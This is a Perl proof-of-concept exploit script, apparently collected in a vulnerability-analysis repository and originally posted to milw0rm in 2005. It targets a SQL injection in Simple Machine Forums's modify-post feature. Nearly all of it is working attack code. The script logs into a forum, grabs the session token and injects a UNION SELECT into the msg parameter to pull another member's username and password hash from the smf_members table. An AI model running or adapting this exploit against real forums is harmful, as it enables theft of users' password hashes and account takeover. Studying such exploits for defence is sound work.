lilbool/vuln-code-analysis

1#!/usr/bin/perl -w

2################################################################################

3# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #

4################################################################################

5# Simple proof of concept for the modify post SQL Injection issue I discovered #

6# in Simple Machine Forums. Supply this script with your username password and #

7# the complete url to a post you made, and have permission to edit. 06/19/2005 #

8################################################################################

9

10use LWP::UserAgent;

11

12if ( !$ARGV[3] ) 

13{

14	print "Usage: smf.pl user pass target_uid modify_url\n";

15	exit;

16}

17

18print "###################################################\n";

19print "# Simple Machine Forums Modify Post SQL Injection #\n";

20print "###################################################\n";

21

22my $user = $ARGV[0]; # your username

23my $pass = $ARGV[1]; # your password

24my $grab = $ARGV[2]; # the id of the target account

25my $post = $ARGV[3]; # the entire url to modify a post you made

26my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';

27   $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;

28my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

29

30my $ua = new LWP::UserAgent;

31   $ua->agent("SMF Hash Grabber v1.0" . $ua->agent);

32

33$ua->cookie_jar({});

34

35print "[*] Trying $path ...\n";

36

37my $req = new HTTP::Request POST => $path . "/index.php?action=login2";

38   $req->content_type('application/x-www-form-urlencoded');

39   $req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');

40my $res = $ua->request($req); 

41

42print "[*] Logging In ...\n";

43

44# When a correct login is made, a redirect is issued, and no 

45# text/html is sent to the browser really. We put 1024 to be

46# safe. This part can be altered in case of modded installs!

47if ( length($res->content) < 1024 )

48{

49	print "[+] Successfully logged in as $user \n";

50	my $sid = $ua->get($path . '/index.php?action=profile;sa=account');	

51

52	# We get our current session id to be used

53	print "[*] Trying To Get Valid Sesc ID \n";

54	if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )

55	{

56		# Replace the old session parameter with the

57		# new one so we do not get an access denied!

58		my $sesc = $1;

59		   $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

60

61		print "[+] Valid Sesc Id : $sesc\n";

62		print "[*] Trying to get password hash ...\n";

63

64		my $pwn = $ua->get($post);	

65		if ( $pwn->content =~ />([a-z0-9]{32})<\//i )

66		{

67			print "[+] Got the password hash!\n";

68			print "[+] Password Hash : $1\n";

69		}

70		else

71		{

72			print "[!] Exploit Failed! Try manually verifying the vulnerability \n";

73		}

74	}

75	else

76	{

77		print '[!] Unable to obtain a valid sesc key!!';

78		exit;

79	}

80}

81else

82{

83	print '[!] There seemed to be a problem logging you in!';

84	exit;

85}

86

87# milw0rm.com [2005-06-21]